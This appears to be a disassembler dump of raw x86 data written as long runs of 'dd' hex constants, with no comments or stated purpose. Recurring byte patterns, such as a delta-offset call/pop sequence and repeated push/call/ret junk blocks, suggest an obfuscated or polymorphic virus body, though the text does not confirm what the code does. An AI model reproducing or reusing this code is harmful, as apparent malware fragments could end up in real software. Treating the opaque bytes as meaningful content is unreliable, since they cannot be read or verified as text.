		dd 0FFB70FC1h, 4EBh, 0B5030000h, 6442A0Dh, 0EE8h, 0D2035900h
		dd 0D5F975E2h, 1A83FA23h, 0F048049h, 386h, 0F78B6600h
		dd 858DF85Fh, 6441BE1h,	7E8h, 0C4A2A000h, 0D9B2E4A0h, 1F49B52Bh
		dd 905E0644h, 1D8F0Fh, 11E80000h, 63000000h, 2CAD3158h
		dd 4D64CB70h, 238199BCh, 0D9838F86h, 8E0Fh, 505F0000h
		dd 90F88B66h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 14h,	0CEC35040h, 3B99589h, 6A0644h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 59C35646h, 7F148C04h, 6AFA8B66h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 0E53E9D20h, 952942D8h, 6441875h,	0FFCD858Dh
		dd 6A0647h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0B49C66C3h, 0D8B6A48Dh, 83F78BFDh, 6A05C0h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 6420A6C3h, 0F3806E40h, 12E9h, 0B5AEF600h, 0E7311246h
		dd 0ECFDB8E2h, 26ED6B9Ah, 5074238Fh, 188B0Fh, 10E80000h
		dd 0B3000000h, 0EEDAD0D8h, 0C700ABE8h, 0B0133577h, 8BCC6673h
		dd 4895EFEh, 50006A24h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 22BCE094h, 0BD3324F9h, 6AFA8B66h
		dd 0B70F6000h, 0F763BBC3h, 6A6129A9h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 0F49E7133h, 9239E2EEh, 31BD8909h, 0FF06441Ah, 44182595h
		dd 979D8D06h, 0F06479Ah, 18Bh, 0D3FFFC00h, 2B818589h, 0BF0F0644h
		dd 0E985FFF7h, 6A064408h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 60DBC355h, 0FF6C1AAh
		dd 68Fh, 0FFDF8100h, 0E9716456h, 76Fh, 0E8h, 0ED815D00h
		dd 647FFD7h, 258D89FCh,	8106441Ah, 44167DBDh, 7D006h, 45860F00h
		dd 6A000001h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 2B72C350h, 33D19D8Bh, 81600644h
		dd 599D53D8h, 15958B3Bh, 6106441Bh, 100E381h, 0B5290000h
		dd 6443231h, 850FDB0Bh,	0A0h, 1E6D8D29h, 0BD830644h, 647FDBCh
		dd 4B840F00h, 8B000000h, 4408E5B5h, 0B0E906h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0E8373AC3h, 11h, 6E3DFF93h, 0A4A0849Bh, 0EBB412DBh
		dd 29B19D05h, 0BDBD8B39h, 5F06441Eh, 0D778C781h, 85C70A81h
		dd 647FDBCh, 1,	6840Fh,	85890000h, 644213Dh, 55E9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 35782B3Eh, 8D0F421Eh, 0
		dd 0FDBC85C7h, 647h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 709A2C3h, 902BBE63h
		dd 9D8D6530h, 64433D1h,	0BE1B58Bh, 23810644h, 0FFFFFEFFh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 2DC35141h
		dd 5F520B4Fh, 6ADB8C66h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0A3D1C351h,	0DBD8B84h
		dd 0F6064400h, 840F04C3h, 2Eh, 0F26EBF66h, 1C8195FFh, 9D310644h
		dd 6442351h, 50F88B90h,	0FE9h, 4E4E3A00h, 6486B61Ah, 0C6ACDA5Eh
		dd 5D3937AAh, 0E6816690h, 8FE96A61h, 29000003h,	4432B58Dh
		dd 6A00B006h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0E665C357h, 0AFB5E1CCh, 7B8EF8CCh
		dd 0FC70E6F5h, 8C0F71E4h, 8, 0E19D2960h, 61064413h, 8BD8B60Fh
		dd 4431C1B5h, 4889BE06h, 6BA49FAh, 9000000h, 440F59BDh
		dd 0C1C38B06h, 6A04E8h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 66718BC3h, 0DC3FF262h, 1FB99509h
		dd 0F7660644h, 7D9BBFE2h, 0D82B3D3Ah, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 50C35040h, 0DFD7AE48h, 569D882Dh
		dd 7D8D31CCh, 6606442Fh, 5093F98Bh, 4CB86660h, 14E8C9h
		dd 4F150000h, 490C1983h, 9DC34CB2h, 36918C6Fh, 8D0703FCh
		dd 880FA465h, 0
aZauj		db 'Za⌠j',0
		db 57h,	0E8h, 3
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0CF92C357h, 167DB5FFh, 800F0644h, 0
		dd 305D8589h, 95FF0644h, 6441C4Dh, 0C1EE8166h, 6A00B021h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0E4D8C356h, 1E78EE2Ah, 0BBC734EFh, 0BD8B70E6h
		dd 644182Dh, 6A71E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0B58B53C3h, 64402E1h, 830F613Ch
		dd 212h, 0FF6B70Fh, 6AD8B6h, 3E850h, 58200000h,	448958C3h
		dd 44810424h, 160424h, 50400000h, 612B0DC3h, 9A81BE66h
		dd 8B6BF66h, 6BAh, 12E900h, 0EF590000h,	6A80AFF9h, 48D15F09h
		dd 78ADC599h, 32C32B57h, 0B533C38Bh, 6441FB1h, 8B04E8C1h
		dd 441D4DB5h, 0E2F76606h, 959D8B60h, 0FC06441Ah, 0E8D82B61h
		dd 6, 0A992995Fh, 8D0113D5h, 6441D11h, 840F5Fh,	58000000h
		dd 2849BD8Bh, 0D82B0644h, 184880Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0A688B0C3h
		dd 0AA97B262h, 0B70F61AEh, 816660F9h, 611D9AE0h, 0B9F18B66h
		dd 7, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h, 1Ah
		dd 33C35747h, 15FC50B3h, 860F709Eh, 6, 10BDB533h, 0C1830644h
		dd 11E900h, 4D650000h, 8D574AB3h, 9061E3B5h, 7C2514A2h
		dd 3B186FA9h, 0FF860FD9h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 16ACC357h
		dd 40EF6AB6h, 0E9BE8043h, 13h, 0CF4D49D1h, 43343BD9h, 0F122C414h
		dd 18607929h, 6625DB2Dh, 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 599EBCC3h, 0C1F6B7EAh
		dd 8F840F04h, 89000000h, 442C8D9Dh, 8195FF06h, 6A06441Ch
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0DACDC356h, 0F05E5A39h, 830FB0FFh, 0
		dd 57006A5Bh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 8A0FDD35h, 0Bh, 0D78B6660h, 2EB9958Bh, 2B610644h
		dd 6850FC3h, 33000000h,	4420A9B5h, 8343D06h, 860F0000h
		dd 12h,	0DEBE6652h, 0E9F95F9Fh,	0Eh, 83EFC681h,	0C08B4E4Fh
		dd 2289B523h, 0C38B0644h, 8589D88Bh, 6440F85h, 28C185C7h
		dd 0AF350644h, 0F6813C5Bh, 40F1773h, 6AC08Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 89E5DFC3h
		dd 4403B5B5h, 7DBD8106h, 0D0064416h, 0F000007h,	0C85h
		dd 0FB8B6600h, 167D85FFh, 0BF0F0644h, 7DB5FFFAh, 6A064416h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 46A0C355h, 0DF30D117h, 0F9BD8B8Ch, 0FF06440Dh
		dd 441C4D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0EFB1AB37h, 9D3B6E1h, 4409598Dh
		dd 95899006h, 6441E85h,	1F958D29h, 85890644h, 64430C9h
		dd 66F38B66h, 7AB8DE81h, 21DDB58Bh, 6A0644h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 9341D0C3h
		dd 7C24E452h, 53006ABEh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 1B112D9Eh, 820F33h, 8B000000h, 443049BDh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 2DC519EAh, 8953B306h, 441DA1B5h,	81665E06h
		dd 8BC97ACFh, 0FE960F1h, 0A5000000h, 40287764h,	564F2202h
		dd 0D593F24Eh, 0BD8911C5h, 6442D81h, 15B50B61h,	0E8064425h
		dd 6, 0D969C902h, 0B589778Dh, 64416A5h,	108E0F5Eh, 8B000000h
		dd 4430FDBDh, 8D0F5106h, 0
		dd 0BE5EF08Bh, 1FE6E39Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 1C35545h, 0CB42BA28h,	0EF90E48Eh, 0FFF8D7E9h
		dd 50006AFFh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 239C8324h, 12E8B9F3h, 51000000h,	0AFAAEEECh
		dd 71D67B2Bh, 5372D7CBh, 5B75743Ch, 0B589F8FCh,	6441CD9h
		dd 0DBD095Fh, 8B06440Eh, 0B58B56C1h, 6442ABDh, 4EB5Fh
		dd 8B000000h, 55006AF1h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 893B9DF7h, 4425D195h, 0E1858D06h
		dd 0F06441Bh, 1081h, 0BE900h, 9410000h,	4AD2DB64h, 3FE4CBF0h
		dd 0E85090DEh, 12h, 33A4B813h, 0BD73A3Dh, 93237C17h, 28002694h
		dd 905EB7B3h, 0A27E11BEh, 9277BE70h, 6A7CE5h, 211DBD8Bh
		dd 15BE0644h, 6A5E5304h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 858DFB24h, 64808A8h, 5C083F8h
		dd 0CE95E51h, 8C000000h, 0E2D55EF9h, 41DE2F0Eh,	90419191h
		dd 50F28B66h, 697E7FBEh, 6A9035h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0E155AEC3h, 0F38BB65Ch
		dd 8E9h, 0A7D9F300h, 89D4C335h,	81006AE3h, 4A36F0D6h, 0F9006A34h
		dd 182595FFh, 6A0644h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0FF8EB4C3h, 0D1B58B8Eh, 8D064419h
		dd 479A979Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 745CFFECh, 29D3FF55h, 441D2195h
		dd 0E985FF06h, 66064408h, 75E9FA8Bh, 0E8000008h, 0
		dd 0B2ED815Dh, 0E9064808h, 7, 8AA1622Fh, 81628704h, 44167DBDh
		dd 7D006h, 9B860F00h, 6A000001h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 72B1C350h, 8BFBF5BDh
		dd 440DF59Dh, 0E38106h,	6A000001h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 2522C355h
		dd 0CAA36F3Ah, 0FDB0BF5h, 0D585h, 0F6BF0F00h, 74DBD83h
		dd 0F000648h, 6F84h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 17FC8A09h, 8DD79C37h
		dd 89609135h, 440F7DB5h, 61CB8B06h, 0DE960h, 1F230000h
		dd 0DDB8C213h, 0A97E513Fh, 667BC129h, 0E961F78Bh, 86h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 35C35747h
		dd 69B4A899h, 0F9261BDEh, 74D85C7h, 10648h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 7ABEEBC3h, 66DBA021h, 2EC9E681h, 2DE9h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 0D52A9569h, 85C7B396h, 648074Dh, 0
		dd 9D8DF98Bh, 6440DF5h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0E5C35242h, 0D4E4C2C7h, 81B16FB8h, 0FFFEFF23h
		dd 57006AFFh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 4FE57FE2h, 0EE953h, 6CED0000h, 54CCCB98h
		dd 0A1049C96h, 0C710D554h, 8C66F18Bh, 4C3F6DBh,	73840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 273D0EC3h, 6D7F9AE8h, 66F28B66h, 95FFF88Bh
		dd 6441C81h, 0D10EB8BFh, 79BD8915h, 5006440Ch, 489F38Bh
		dd 55006A24h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0E98E71C3h, 11h,	0BE4AA8DFh, 0B88F354Bh
		dd 0FE5F70E0h, 0FA92707Dh, 401E97Ch, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0B0F4C3h
		dd 419B589h, 70E60644h,	0DE8h, 0C2AAE300h, 791D5429h, 335805BCh
		dd 0F681E111h, 3CD1C4FCh, 8B71E45Eh, 440FE5BDh,	0D8B60F06h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 25C35646h
		dd 1BB06BDFh, 51A42680h, 6BAD5h, 8B660000h, 6AC38BF8h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 6575C351h, 8953321Ch, 4410298Dh, 14E806h
		dd 0ECDD0000h, 2EAF277Ah, 87D3AC9Dh, 722CE70Bh,	4FAD12EAh
		dd 8B667C8Bh, 8D315EFBh, 644036Dh, 6A04E8C1h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0F205C356h, 0D1CEC658h, 2911A689h, 4408CD9Dh, 0E2F76606h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0B7C35141h
		dd 0F24F729h, 0D82BF6BFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 3AC35343h, 0AB6DD989h, 0BDB58B57h, 93064402h
		dd 1C880F50h, 60000000h, 13E9h,	0FBB2DE00h, 63D86C2Dh
		dd 9286BCA4h, 1BEBE2A0h, 0FD050B7Dh, 936136B5h,	32318D01h
		dd 0B5FF0644h, 644167Dh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0A8C35141h, 9A766FC7h, 81666DBDh, 891244E7h
		dd 442AA59Dh, 4D95FF06h, 906441Ch, 44032DBDh, 6A00B006h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0C091C357h, 0D6A5BE67h, 70E651E1h, 0E4F08B66h
		dd 0EF815171h, 1ECDC218h, 0F613C5Eh, 21E83h, 0D8B60F00h
		dd 0AE9h, 0CA232500h, 0C5545175h, 0BAD47DBAh, 6, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 9BC35646h, 58ACF4A4h
		dd 0CD0A29F0h, 1875BD8Bh, 8B530644h, 441CA1B5h,	0C38B5F06h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0CDC35141h
		dd 3250C9BBh, 895DB57Fh, 8B04E8C1h, 442DE9B5h, 0E2F76606h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0F9C35646h
		dd 0C8F0F41h, 0F000000h, 687h, 0E1BD8B00h, 2B064414h, 53006AD8h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0B5891252h, 6441631h, 0F9B58B58h, 0F064402h,	586h, 0D18B6000h
		dd 0D82B61F9h, 135880Fh, 800F0000h, 0Ch, 68D0Fh, 0B50B0000h
		dd 6442E41h, 7B9h, 51006A00h, 3E8h, 0C3592000h,	244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 3D8F60A6h, 834DB3FEh
		dd 0BD0900C1h, 64410A1h, 860FD93Bh, 0EBh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 14h, 31C35141h, 6AD98C66h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 350EC357h, 23E5EBD4h, 4C1F60Ah, 9F840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 10EFBAC3h, 892D0011h, 440DBD85h, 0A9B53106h
		dd 0FF064433h, 441C8195h, 0FDB58B06h, 5B06442Dh, 26258529h
		dd 0C32B0644h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	5AC35646h, 343DC01Fh, 0F000008h, 3486h,	55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 6093AFC2h, 0B1BCA5F2h, 0F18CBE5Ah, 8E927D0h,	81000000h
		dd 0FE28BCEh, 8BC08B60h, 6AD88BC3h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0AFBC353h
		dd 0ADD2517h, 0FB8B2A39h, 33D185C7h, 0CF570644h, 6A5C21h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 76532CC3h, 0AE91FE6h, 36000000h, 0EF2097C8h,	0DC9F6FA6h
		dd 0AD8509C6h, 6006440Fh, 348BB866h, 0C08B61F8h, 41BF6656h
		dd 0BD815F1Fh, 644167Dh, 7D0h, 56850Fh,	6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0F64938C3h, 167D85FFh, 6A0644h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0BEE265C3h, 12958193h
		dd 0E8F8BAFEh, 5, 0B2E741DCh, 5FF08BEAh, 167DB5FFh, 95FF0644h
		dd 6441C4Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	0D8C35545h, 0FEEDAD0h, 686h, 0D99D8900h, 9006442Bh
		dd 0C6DF8166h, 11890FF2h, 60000000h, 991F680h, 4420D1B5h
		dd 9D8D8906h, 6106442Eh, 52006AFCh, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 21BD8B01h, 8B06440Ch
		dd 442631BDh, 0EDB58906h, 0F9064407h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 8FC35040h, 6FC8BCFh, 9FBE52ACh
		dd 506A4404h, 1D55B589h, 0BD0B0644h, 6440F91h, 53006A5Eh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0F9A44EB0h, 6880F86h, 89000000h, 44288D95h, 0E0E78106h
		dd 8B06E5D5h, 441DB1B5h, 6D9D8906h, 8B06441Ch, 442C6DB5h
		dd 15B58B06h, 0F06441Bh, 238Dh,	1D860F00h, 8B000000h, 440009BDh
		dd 12E906h, 4EF60000h, 0D725D152h, 2C70779Ch, 68FE5045h
		dd 0DF923F08h, 0BA80BA60h, 0B58B7C2Bh, 6442FDDh, 0F79DE961h
		dd 850FFFFFh, 6, 2913F681h, 95314203h, 6441E95h, 6AC18Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0B0B6ACC3h, 6DC4F5FCh, 4EB5E50h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 80C35040h
		dd 0E9C14708h, 2BEE1D53h, 442225BDh, 0FAB70F06h, 1BE1858Dh
		dd 6A0644h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0E5D647C3h, 0FE85020h, 0AD000000h, 2C4DD4D7h
		dd 14C7C790h, 0DEC14248h, 895F80E3h, 6A2404h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0BEC35141h, 48683ED6h
		dd 428156h, 858B6034h, 64423D9h, 71A0BE66h, 0C860F61h
		dd 0F000000h, 689h, 0D5B52B00h,	6A064407h, 68F0F00h, 8B000000h
		dd 443399B5h, 8858D06h,	6A064813h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 23E3C356h
		dd 6F34B768h, 850F50BDh, 8, 870F60h, 61000000h,	9005C083h
		dd 90F18B50h, 1247D781h, 6A3C5Fh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 33C35141h, 9D897C57h, 6442151h
		dd 1EA5B58Bh, 6A0644h, 0A5B58B53h, 5E06440Dh, 182595FFh
		dd 6A0644h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 527555C3h, 0BE66CD66h, 9D8D1D36h,	6479A97h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F9C35141h
		dd 811C143Bh, 53547ED6h, 0FB8B6663h, 85FFD3FFh,	64408E9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0C7C35040h
		dd 0B560CC37h, 9CE932D8h, 0E8000007h, 0
		dd 12ED815Dh, 6A064813h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 980CC350h, 9FBC6B6Bh
		dd 60FA5143h, 81CFB70Fh, 886C8DFh, 0BD816104h, 644167Dh
		dd 7D0h, 12F860Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0FB8351C3h, 0FE9h, 0A2491C00h
		dd 790EC53h, 0A7E527B0h, 597134F1h, 2B799D8Bh, 0E3810644h
		dd 100h, 0DB0B5E53h, 0B2850Fh, 6A0000h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 662C6AC3h
		dd 4F3DE81h, 114ABD83h,	0F000648h, 3384h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 0A1F4411h, 3810F63h,	0F000000h, 65E9FBB7h, 0BE000000h
		dd 1EBB27A2h, 114A85C7h, 10648h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 60E516C3h
		dd 82B194D4h, 0E94D6EB7h, 2Ch, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 0F3C35242h,	114A85C7h, 648h
		dd 0BD8B0000h, 6441039h, 2B799D8Dh, 0F88B0644h,	0FEFF2381h
		dd 12E9FFFFh, 28000000h, 38723A16h, 909DCABBh, 83DBA38Eh
		dd 0BE032505h, 0DB8C66C2h, 0F04C3F6h, 6584h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 95F1B61Fh, 8195FFC2h, 8B06441Ch, 6E890F1h, 0DF000000h
		dd 0DEBD25B7h, 0CFBE6607h, 50505E30h, 0FF18B52h, 5AF08B31h
		dd 6A9058h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0FA018C3h, 71E9FBBFh, 6A000003h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 25ACC356h, 0B5019DC4h, 6442915h, 2201B58Bh, 0B00644h
		dd 0E6F7B70Fh, 53006A70h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 9D9F761Ah, 89015813h
		dd 4428C98Dh, 6A71E406h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0E0E1C353h,	27530B03h
		dd 0E159531h, 0B60F0644h, 56006AD8h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 6BA92ECh, 8B000000h
		dd 4417A1BDh, 6AC38B06h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 2F9EC352h, 6507EBEEh
		dd 526FC396h, 0E476F781h, 0C15F7519h, 6A04E8h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 8B5349C3h, 44090DBDh, 8B506006h, 441BD58Dh, 66615806h
		dd 6546CF81h, 2BE2F766h, 32BF66D8h, 85B58BCEh, 93064423h
		dd 6650FE8Bh, 6A93F38Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 5CC1C351h, 32622616h
		dd 0FF419C69h, 44167DB5h, 0AEDF8106h, 0FF424C98h, 441C4D95h
		dd 0B0F88B06h, 5EC68100h, 0E6420F0Fh, 5810F70h,	0BE000000h
		dd 30FD5B22h, 0CE871E4h, 89000000h, 1F4286ECh, 0F0A010B8h
		dd 5E257CC1h, 830F613Ch, 1E0h, 85D0CF81h, 0B60F3AE9h, 68C0FD8h
		dd 89000000h, 44026995h, 6BA06h, 0B70F0000h, 6AC38BF1h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0E897C351h, 0AEBF662Ah, 4E8C130h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 50C35040h, 667FF60Ch
		dd 8529E2F7h, 6442A05h,	5810Fh,	81660000h, 2B7FECDEh, 38D681D8h
		dd 586338FCh, 2BF6B70Fh, 55880FD8h, 0E8000001h,	12h, 0CCD5E8A8h
		dd 0B93C863Eh, 98652915h, 0FD50DA2Ah, 14E86CB4h, 41000000h
		dd 954F37C0h, 647A5330h, 61FD1712h, 0ECA3792Ah,	0E9EA68C0h
		dd 0Ah,	44A4EBB5h, 2C2CE980h, 5E5F2E01h, 7B9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0EE0C6812h, 15118D89h, 85890644h, 6442D95h, 6600C183h
		dd 0D93BFA8Bh, 0D6860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 3A02E8C3h, 0FDBD8B86h
		dd 66064430h, 8D29D98Ch, 644163Dh, 0F04C1F6h, 9A84h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 4A70C56Ah, 8195FF96h, 6A06441Ch, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 69D6C355h
		dd 0F7E7EC18h, 2B99BF66h, 50006A5Bh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0BF0F5597h
		dd 3D9589FFh, 2B064416h, 9D8B60C3h, 6441AEDh, 86F18166h
		dd 343D61B8h, 0F000008h, 0E86h,	0FDB58B00h, 0F806441Bh
		dd 7E9h, 8BFE8B00h, 0FB8B66C0h,	0D88BC38Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 6C35242h, 59C9BF66h
		dd 0E359D89h, 0BF0F0644h, 0F585C7FBh, 1306440Dh, 8B3E1049h
		dd 441C5DBDh, 5CC68106h, 8B310E70h, 9D8D01C0h, 29064403h
		dd 44249195h, 7DBD8106h, 0D0064416h, 0F000007h,	3885h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0FC872E79h, 167D85FFh, 0BD8B0644h, 64431CDh
		dd 8E9h, 0D6EFD000h, 2B33EAFDh,	7DB5FF9Fh, 6A064416h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0E8BBC355h, 13h, 0F7C603ADh,	0A6B2EBBBh, 17A48C34h
		dd 0CCEB5D0Fh, 29A84574h, 442F61B5h, 95FF5F06h,	6441C4Dh
		dd 5DFCBE66h, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 6AECF1h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 9D3CCAC3h, 60F3B70Fh
		dd 10E9h, 0EDCD6400h, 0B5660A08h, 4770F80Eh, 413F4D39h
		dd 14E86060h, 0B0000000h, 0BDD70CDFh, 7B308D88h, 0D6638265h
		dd 0D529E5C9h, 5BEC6693h, 8F0Fh, 0EA810000h, 75DF2C88h
		dd 1E198D8Bh, 60610644h, 33CDACB8h, 8E0F5Bh, 0E9000000h
		dd 13h,	85176A4Eh, 0E3242972h, 216A046h, 0B98C77A8h, 612B8DC5h
		dd 8529F861h, 6440BD9h,	0DE7029BEh, 0E9953119h,	53064430h
